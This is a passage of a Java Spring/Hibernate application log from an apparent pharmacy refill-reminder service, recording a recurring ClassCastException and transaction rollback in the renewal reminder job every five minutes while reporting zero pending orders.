2024-02-26 04:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) 